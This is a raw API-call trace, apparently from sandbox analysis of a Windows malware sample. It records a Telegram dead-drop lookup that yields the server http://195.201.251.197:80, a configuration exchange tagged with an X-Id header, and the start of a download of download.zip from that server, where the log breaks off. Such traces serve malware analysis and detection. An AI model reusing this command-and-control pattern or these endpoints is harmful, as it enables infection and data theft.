[0049.959] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x671060
[0049.959] GetLastError () returned 0x3f0
[0049.959] SetLastError (dwErrCode=0x3f0)
[0049.959] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x355) returned 0x6727d0
[0049.960] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0049.960] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671410 | out: hHeap=0x670000) returned 1
[0049.960] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x671180
[0049.960] GetLastError () returned 0x3f0
[0049.960] SetLastError (dwErrCode=0x3f0)
[0049.960] GetLastError () returned 0x3f0
[0049.960] SetLastError (dwErrCode=0x3f0)
[0049.960] GetLastError () returned 0x3f0
[0049.960] SetLastError (dwErrCode=0x3f0)
[0049.960] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x671190
[0049.960] GetLastError () returned 0x3f0
[0049.960] SetLastError (dwErrCode=0x3f0)
[0049.960] GetLastError () returned 0x3f0
[0049.960] SetLastError (dwErrCode=0x3f0)
[0049.960] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x6711a0
[0049.960] GetLastError () returned 0x3f0
[0049.960] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5) returned 0x6711b0
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] GetLastError () returned 0x3f0
[0049.961] SetLastError (dwErrCode=0x3f0)
[0049.961] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd8) returned 0x671410
[0049.962] GetLastError () returned 0x3f0
[0049.962] SetLastError (dwErrCode=0x3f0)
[0049.962] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x355) returned 0x6727d0
[0049.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0049.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671060 | out: hHeap=0x670000) returned 1
[0049.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671180 | out: hHeap=0x670000) returned 1
[0049.962] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671170 | out: hHeap=0x670000) returned 1
[0049.963] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x671170
[0049.963] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x6711c0
[0049.963] GetLastError () returned 0x3f0
[0049.963] SetLastError (dwErrCode=0x3f0)
[0049.963] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6711c0 | out: hHeap=0x670000) returned 1
[0049.963] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671038 | out: hHeap=0x670000) returned 1
[0049.963] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0049.963] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670fd0 | out: hHeap=0x670000) returned 1
[0049.963] lstrcatA (in: lpString1="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}", lpString2="4" | out: lpString1="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}4") returned="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}4"
[0049.963] Sleep (dwMilliseconds=0x1)
[0050.004] Sleep (dwMilliseconds=0x3)
[0050.020] Sleep (dwMilliseconds=0x3)
[0050.036] Sleep (dwMilliseconds=0x7)
[0050.051] OpenEventA (dwDesiredAccess=0x1f0003, bInheritHandle=0, lpName="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}4") returned 0x0
[0050.051] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}4") returned 0x1a4
[0050.051] Sleep (dwMilliseconds=0x1)
[0050.068] Sleep (dwMilliseconds=0x3)
[0050.082] Sleep (dwMilliseconds=0x3)
[0050.098] Sleep (dwMilliseconds=0x7)
[0050.115] lstrcatA (in: lpString1="", lpString2="/" | out: lpString1="/") returned="/"
[0050.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x6711c0
[0050.115] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x671060
[0050.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x671088
[0050.119] DeleteUrlCacheEntryA (lpszUrlName="t.me") returned 0
[0050.219] DeleteUrlCacheEntryA (lpszUrlName="https://t.me/auftriebs") returned 0
[0050.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x6710b0
[0050.225] GetCurrentProcess () returned 0xffffffff
[0050.225] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x199cf8 | out: Wow64Process=0x199cf8*=1) returned 1
[0050.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x6710d8
[0050.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6710b0 | out: hHeap=0x670000) returned 1
[0050.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x6727d0
[0050.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6710d8 | out: hHeap=0x670000) returned 1
[0050.225] InternetOpenA (lpszAgent="Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0050.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0050.355] StrCmpCA (pszStr1="https", pszStr2="https") returned 0
[0050.356] InternetConnectA (hInternet=0xcc0004, lpszServerName="t.me", nServerPort=0x0, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x4800000, dwContext=0x0) returned 0xcc0008
[0050.358] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/auftriebs", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x4800000, dwContext=0x0) returned 0xcc000c
[0050.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x6710b0
[0050.359] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="X-Id: e749025c61b2caca10aa829a9e1a65a1", dwHeadersLength=0x26, dwModifiers=0x20000000) returned 1
[0050.359] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0050.742] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x13, lpBuffer=0x19a660, lpdwBufferLength=0x199d44, lpdwIndex=0x0 | out: lpBuffer=0x19a660*, lpdwBufferLength=0x199d44*=0x3, lpdwIndex=0x0) returned 1
[0050.742] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e90, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d58 | out: lpBuffer=0x199e90*, lpdwNumberOfBytesRead=0x199d58*=0x7cf) returned 1
[0050.742] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d0) returned 0x6727d0
[0050.742] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e90, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d58 | out: lpBuffer=0x199e90*, lpdwNumberOfBytesRead=0x199d58*=0x7cf) returned 1
[0050.742] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfa0) returned 0x672fa8
[0050.743] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0050.743] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e90, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d58 | out: lpBuffer=0x199e90*, lpdwNumberOfBytesRead=0x199d58*=0x7cf) returned 1
[0050.743] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1770) returned 0x673f50
[0050.743] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x672fa8 | out: hHeap=0x670000) returned 1
[0050.743] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e90, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d58 | out: lpBuffer=0x199e90*, lpdwNumberOfBytesRead=0x199d58*=0x7cf) returned 1
[0050.743] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1f40) returned 0x6756c8
[0050.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x673f50 | out: hHeap=0x670000) returned 1
[0050.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e90, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d58 | out: lpBuffer=0x199e90*, lpdwNumberOfBytesRead=0x199d58*=0x7cf) returned 1
[0050.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2710) returned 0x6727d0
[0050.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6756c8 | out: hHeap=0x670000) returned 1
[0050.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e90, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d58 | out: lpBuffer=0x199e90*, lpdwNumberOfBytesRead=0x199d58*=0x7cf) returned 1
[0050.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2ee0) returned 0x674ee8
[0050.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0050.744] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e90, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d58 | out: lpBuffer=0x199e90*, lpdwNumberOfBytesRead=0x199d58*=0x175) returned 1
[0050.744] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x3050) returned 0x677dd0
[0050.745] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x674ee8 | out: hHeap=0x670000) returned 1
[0050.745] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e90, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d58 | out: lpBuffer=0x199e90*, lpdwNumberOfBytesRead=0x199d58*=0x0) returned 1
[0050.745] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0050.745] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6710b0 | out: hHeap=0x670000) returned 1
[0050.745] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0050.745] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0050.745] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671088 | out: hHeap=0x670000) returned 1
[0050.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671060 | out: hHeap=0x670000) returned 1
[0050.746] StrCmpCA (pszStr1="\n\n
\n \n Telegram: Contact @auftriebs\n \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n\n\n\n\n \n \n \n \n \n \n \n \n
\n
\n
\n
\n
\n
\n
\n auftrieb\n
\n\n
frisbee http://195.201.251.197:80|
\n
\n\n
\n
\n If you have Telegram, you can view and join
auftrieb right away.\n
\n
\n \n
\n
\n\n \n\n \n\n \n \n\n\n", pszStr2="ERROR") returned -9
[0050.748] lstrlenA (lpString="http://195.201.251.197:80") returned 25
[0050.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x671060
[0050.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x677dd0 | out: hHeap=0x670000) returned 1
[0050.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6711c0 | out: hHeap=0x670000) returned 1
[0050.748] StrCmpCA (pszStr1="http://195.201.251.197:80", pszStr2="ERROR") returned 35
[0050.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x671088
[0050.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x6711c0
[0050.750] lstrlenA (lpString="http://195.201.251.197:80") returned 25
[0050.750] InternetCrackUrlA (in: lpszUrl="http://195.201.251.197:80", dwUrlLength=0x19, dwFlags=0x10000000, lpUrlComponents=0x19a71c | out: lpUrlComponents=0x19a71c) returned 1
[0050.751] StrCmpCA (pszStr1="http", pszStr2="https") returned -115
[0050.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x6710e0
[0050.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x6727d0
[0050.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x6727f8
[0050.753] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x672820
[0050.753] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x672820 | out: hHeap=0x670000) returned 1
[0050.754] DeleteUrlCacheEntryA (lpszUrlName="195.201.251.197") returned 0
[0051.033] DeleteUrlCacheEntryA (lpszUrlName="http://195.201.251.197:80") returned 0
[0051.034] InternetOpenA (lpszAgent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0051.034] StrCmpCA (pszStr1="http", pszStr2="https") returned -115
[0051.034] InternetConnectA (hInternet=0xcc0004, lpszServerName="195.201.251.197", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x4000000, dwContext=0x0) returned 0xcc0008
[0051.034] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x4000000, dwContext=0x0) returned 0xcc000c
[0051.034] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x672820
[0051.034] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="X-Id: e749025c61b2caca10aa829a9e1a65a1", dwHeadersLength=0x26, dwModifiers=0x20000000) returned 1
[0051.034] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0051.416] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x13, lpBuffer=0x19a654, lpdwBufferLength=0x199d38, lpdwIndex=0x0 | out: lpBuffer=0x19a654*, lpdwBufferLength=0x199d38*=0x3, lpdwIndex=0x0) returned 1
[0051.416] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e84, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d4c | out: lpBuffer=0x199e84*, lpdwNumberOfBytesRead=0x199d4c*=0x3a) returned 1
[0051.416] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x672858
[0051.417] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x199e84, dwNumberOfBytesToRead=0x7cf, lpdwNumberOfBytesRead=0x199d4c | out: lpBuffer=0x199e84*, lpdwNumberOfBytesRead=0x199d4c*=0x0) returned 1
[0051.417] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0051.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x672820 | out: hHeap=0x670000) returned 1
[0051.417] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0051.417] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0051.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727f8 | out: hHeap=0x670000) returned 1
[0051.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6727d0 | out: hHeap=0x670000) returned 1
[0051.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6710e0 | out: hHeap=0x670000) returned 1
[0051.417] StrCmpCA (pszStr1="1,1,1,1,1,79c5420cbd3801311b97a99670be75db,1,1,0,1,0,none;", pszStr2="ERROR") returned -20
[0051.418] GetProcessHeap () returned 0x680000
[0051.418] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xea60) returned 0x7282c0
[0051.418] lstrcatA (in: lpString1="À", lpString2="1,1,1,1,1,79c5420cbd3801311b97a99670be75db,1,1,0,1,0,none;" | out: lpString1="À1,1,1,1,1,79c5420cbd3801311b97a99670be75db,1,1,0,1,0,none;") returned="À1,1,1,1,1,79c5420cbd3801311b97a99670be75db,1,1,0,1,0,none;"
[0051.418] StrCmpCA (pszStr1="1", pszStr2="1") returned 0
[0051.418] StrCmpCA (pszStr1="1", pszStr2="1") returned 0
[0051.418] StrCmpCA (pszStr1="1", pszStr2="1") returned 0
[0051.418] StrCmpCA (pszStr1="1", pszStr2="1") returned 0
[0051.418] GetProcessHeap () returned 0x680000
[0051.418] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xf423f) returned 0x286e020
[0051.421] lstrcatA (in: lpString1="", lpString2="79c5420cbd3801311b97a99670be75db" | out: lpString1="79c5420cbd3801311b97a99670be75db") returned="79c5420cbd3801311b97a99670be75db"
[0051.421] StrCmpCA (pszStr1="1", pszStr2="1") returned 0
[0051.421] StrCmpCA (pszStr1="1", pszStr2="1") returned 0
[0051.421] StrCmpCA (pszStr1="0", pszStr2="1") returned -1
[0051.421] StrCmpCA (pszStr1="1", pszStr2="1") returned 0
[0051.421] StrCmpCA (pszStr1="0", pszStr2="1") returned -1
[0051.421] GetProcessHeap () returned 0x680000
[0051.421] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xf423f) returned 0x297f020
[0051.424] lstrcatA (in: lpString1="", lpString2="none;" | out: lpString1="none;") returned="none;"
[0051.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x672858 | out: hHeap=0x670000) returned 1
[0051.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6711c0 | out: hHeap=0x670000) returned 1
[0051.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671088 | out: hHeap=0x670000) returned 1
[0051.424] StrCmpCA (pszStr1="http://195.201.251.197:80", pszStr2="ERROR") returned 35
[0051.424] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x671088
[0051.424] Sleep (dwMilliseconds=0x1)
[0051.439] Sleep (dwMilliseconds=0x3)
[0051.455] Sleep (dwMilliseconds=0x3)
[0051.470] Sleep (dwMilliseconds=0x7)
[0051.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4098) returned 0x6727d0
[0051.490] CreateFileMappingA (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x54c5638, lpName=0x0) returned 0x278
[0051.523] MapViewOfFile (hFileMappingObject=0x278, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x54c5638) returned 0x2a80000
[0051.526] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x670fd0
[0051.526] Sleep (dwMilliseconds=0x1)
[0051.535] Sleep (dwMilliseconds=0x3)
[0051.549] Sleep (dwMilliseconds=0x3)
[0051.564] Sleep (dwMilliseconds=0x7)
[0051.581] lstrcatA (in: lpString1="", lpString2="http://195.201.251.197:80" | out: lpString1="http://195.201.251.197:80") returned="http://195.201.251.197:80"
[0051.581] lstrcatA (in: lpString1="http://195.201.251.197:80", lpString2="/" | out: lpString1="http://195.201.251.197:80/") returned="http://195.201.251.197:80/"
[0051.581] lstrcatA (in: lpString1="http://195.201.251.197:80/", lpString2="download.zip" | out: lpString1="http://195.201.251.197:80/download.zip") returned="http://195.201.251.197:80/download.zip"
[0051.581] Sleep (dwMilliseconds=0x1)
[0051.597] Sleep (dwMilliseconds=0x3)
[0051.612] Sleep (dwMilliseconds=0x3)
[0051.627] Sleep (dwMilliseconds=0x7)
[0051.642] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x6710e0
[0051.643] lstrlenA (lpString="http://195.201.251.197:80/download.zip") returned 38
[0051.643] InternetCrackUrlA (in: lpszUrl="http://195.201.251.197:80/download.zip", dwUrlLength=0x26, dwFlags=0x10000000, lpUrlComponents=0x19a4f4 | out: lpUrlComponents=0x19a4f4) returned 1
[0051.643] StrCmpCA (pszStr1="http", pszStr2="https") returned -115
[0051.643] GetProcessHeap () returned 0x680000
[0051.643] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x5f5e0ff) returned 0x7f5f020
[0051.874] InternetOpenA (lpszAgent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0051.874] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x2, lpBuffer=0x19a598*, dwBufferLength=0x4) returned 1
[0051.874] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://195.201.251.197:80/download.zip", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x4000100, dwContext=0x0) returned 0xcc000c
[0051.897] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.897] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.897] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.897] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.897] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.897] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.897] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.897] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.898] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.898] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.898] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.898] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.898] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.898] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.908] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
